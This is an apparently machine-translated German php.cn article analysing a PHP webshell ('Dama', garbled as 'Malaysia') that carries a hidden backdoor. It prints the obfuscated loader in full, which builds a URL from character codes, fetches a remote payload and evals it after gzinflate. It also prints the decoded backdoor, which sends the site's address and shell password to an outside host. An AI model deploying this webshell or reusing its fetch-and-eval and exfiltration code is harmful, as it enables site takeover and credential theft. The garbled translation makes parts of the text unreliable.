Was ist PHP Malaysia?-PHP-Problem-php.cn

Was ist PHP Malaysia?

(*-*)浩

Freigeben： 2023-02-25 22:16:01

Original

5507 Leute haben es durchsucht

DaMa: bezieht sich auf den Trojaner-Virus; PHP Dama ist ein in PHP geschriebenes Programm zum Extrahieren von Site-Berechtigungen; es wird als Trojaner bezeichnet, da es die Funktion hat, Rechte zu erhöhen oder die Site zu ändern.

Jemand hat ein PHP Malaysia geteilt (angeblich, es sei über WAF), von dem 80 % eine Hintertür haben, und ich Habe eine kurze Analyse gemacht (Empfohlenes Lernen: PHP-Video-Tutorial)

<?php
      $password=&#39;Shiqi&#39;;//登录密码(支持菜刀)
//----------功能程序------------------//
$c="chr";
session_start();
if(empty($_SESSION[&#39;PhpCode&#39;])){
$url=$c(104).$c(116).$c(116).$c(112).$c(58).$c(47);
$url.=$c(47).$c(105).$c(46).$c(110).$c(105).$c(117);
$url.=$c(112).$c(105).$c(99).$c(46).$c(99).$c(111);
$url.=$c(109).$c(47).$c(105).$c(109).$c(97).$c(103);
$url.=$c(101).$c(115).$c(47).$c(50).$c(48).$c(49).$c(55);
$url.=$c(47).$c(48).$c(53).$c(47).$c(50).$c(49).$c(47);
$url.=$c(118).$c(49).$c(81).$c(82).$c(49).$c(77).$c(46).$c(103).$c(105).$c(102);
$get=chr(102).chr(105).chr(108).chr(101).chr(95);
$get.=chr(103).chr(101).chr(116).chr(95).chr(99);
$get.=chr(111).chr(110).chr(116).chr(101).chr(110);
$get.=chr(116).chr(115);
$_SESSION[&#39;PhpCode&#39;]=$get($url);}
$un=$c(103).$c(122).$c(105).$c(110);
$un.=$c(102).$c(108).$c(97).$c(116).$c(base64_decode(&#39;MTAx&#39;));
@eval($un($_SESSION[&#39;PhpCode&#39;]));
?>

Nach dem Login kopieren

Es gibt insgesamt drei Variablen, $url, $get, $un. Konvertieren Sie zunächst mehrere Variablen in ASCII Um zu sehen, was es ist, verwenden Sie einfach echo, um es auszugeben.

Was ist PHP Malaysia?

Es ist eine einfache Verschlüsselung basierend auf Base64 plus Gzinflate

Backdoor-Teil:

if(isset($_GET[&#39;login&#39;])==&#39;geturl&#39;){

    @set_time_limit(10);

    $serveru = $_SERVER [&#39;HTTP_HOST&#39;].$_SERVER[&#39;PHP_SELF&#39;];

    $serverp = envlpass;

    $copyurl = base64_decode(&#39;SFRUUDovL1dXVy5GQUNFQjBPSy5DQy9lcnJvci5waHA/bmFtZT0=&#39;);

    $url=$copyurl.$serveru.&#39;&pass=&#39;.$serverp;

    $url=urldecode($url);

    GetHtml($url);

}

function geturl(){

    @set_time_limit(10);

    $serveru = $_SERVER [&#39;HTTP_HOST&#39;].$_SERVER[&#39;PHP_SELF&#39;];

    $serverp = envlpass;

    $copyurl = base64_decode(&#39;&#39;);

    $url=$copyurl.$serveru.&#39;&p=&#39;.$serverp;

    $url=urldecode($url);

    GetHtml($url);

}

Nach dem Login kopieren

Das obige ist der detaillierte Inhalt vonWas ist PHP Malaysia?. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!